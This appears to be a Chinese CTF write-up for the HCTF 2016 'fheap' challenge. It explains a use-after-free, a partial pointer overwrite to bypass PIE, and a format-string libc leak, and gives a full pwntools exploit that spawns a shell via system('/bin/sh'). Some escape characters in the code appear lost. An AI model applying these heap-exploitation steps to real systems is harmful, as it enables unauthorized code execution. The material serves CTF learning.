• 2016 hctf fheap 题解


    题目链接

    https://github.com/zh-explorer/hctf2016-fheap
    

    题目分析

    题目功能只有 malloc 和 free 的功能,查看堆的布局:
    

    全局指针没有置空,导致 uaf 和 double free 漏洞,两种都可以做,但是这题的重点是绕过 PIE。

    • double free 完了之后,会导致下面的情况

    这里需要注意一下 create 函数的逻辑:如果输入的字符串的长度大于 15,则重新 maloc 一块堆块用来存放字符串,如图:

    但是这里还是选择使用 uaf 来做。
    

    整体思路

    1. malloc 两个堆块,delete 两个堆块

    2. 重新 malloc 一个堆块,size 大于 24,这样就 malloc 到原来的堆块的区域,因为全局 flag 处还存放着原来堆块的指针,所以存在 uaf 漏洞。

    1. 因为这里存在溢出,可以覆盖 free_ptr 指针,在开启 pie 的情况下,覆盖最后一个字节使得 free_ptr 被覆盖成 puts ,接着 delete 堆块时相当于输出 puts 函数的地址,得到基地址。

    2. 重复上一步,接着覆盖 puts 指针为 printf 函数的指针,构造一个格式化字符串漏洞,输出得到libc地址

    3. 重复上一步,覆盖 printf 指针为 system 函数的指针,布置好 "/bin/sh",接着 delete 就调用了 system 函数

    • 格式化字符串那里存在问题,无法正常找到 libc 的地址,只能随便找到一个 ld 库的一个地址,但是这里的偏移都是一样的。

    EXP

    #!/usr/bin/python
    
    from pwn import *
    DEBUG = 1
    
    if DEBUG:
    	r = process('./pwn-f')
    	elf = ELF('./pwn-f')
    	libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
    else:
    	r = remote('127.0.0.1',4444)
    
    def create(size,content):
    	r.recvuntil("3.quit")
    	r.sendline("create ")
    	r.recvuntil("Pls give string size:")
    	r.sendline(str(size))
    	r.recvuntil("str:")
    	r.sendline(str(content))
    
    def delete(idx):
    	r.recvuntil("3.quit")
       r.sendline("delete ")
    	r.recvuntil("id:")
    	r.sendline(str(idx))
    	r.recvuntil("Are you sure?:")
    	r.sendline("yes")	
    
    create(10,"aaa")
    create(10,"bbb")
    
    
    delete(1)
    delete(0)
    
    create(25,'f'*24+p8(0xE4))
    
    delete(1)
    r.recvuntil("f"*24)
    puts_addr = u64(r.recvline("
    ")[:-1].ljust(8,"x00"))
    
    base_addr = puts_addr - 0xde4
    success("base_addr :" + hex(base_addr))
    
    r.sendlineafter("Are you sure?:","H4lo")
    
    delete(0)
    
    printf_plt = base_addr + elf.plt['printf']
    
    payload = "%51$s^^".ljust(24,'A')
    payload += p64(printf_plt)
    
    create(32,payload)
    
    delete(1)
    addr = u64(r.recv(6).ljust(8,'x00'))
    
    success(hex(addr))
    
    success("libc_addr :"+hex(addr+0xaf8-0x5d2000))
    libc_addr = addr+0xaf8-0x5d2000        # 取到偏移
    
    delete(0)
    
    payload = "/bin/sh;".ljust(24,'A')
    payload += p64(libc_addr + libc.symbols['system'])
    
    create(32,payload)
    
    r.interactive()
    
    

    参考:

    https://github.com/zh-explorer/hctf2016-fheap
    https://www.cnblogs.com/shangye/p/6156350.html
    https://www.xctf.org.cn/library/details/21e9451548a2b5d01dcf411e90ba968fc54ac9a5/
    https://blog.csdn.net/qq_33528164/article/details/79515831
  • 相关阅读:
    css js 解除网页无法选择进而复制的限制,bd文库无法复制
    Git命令简记
    DDD基本概念-未完成
    多线程隙-IO模型(BIO、NIO、AIO)
    RabbitMQ笔记-保证消息队列高可用
    关于fiddler手机抓包
    spring控制反转是谁在何时何地反转给谁?依赖注入??
    Cookie、Session、Token的区别
    详解Redis中两种持久化机制RDB和AOF
    Java中线程池的抛出策略、阻塞队列、内存溢出
  • 原文地址:https://www.cnblogs.com/H4lo/p/10611990.html
Copyright © 2020-2023  润新知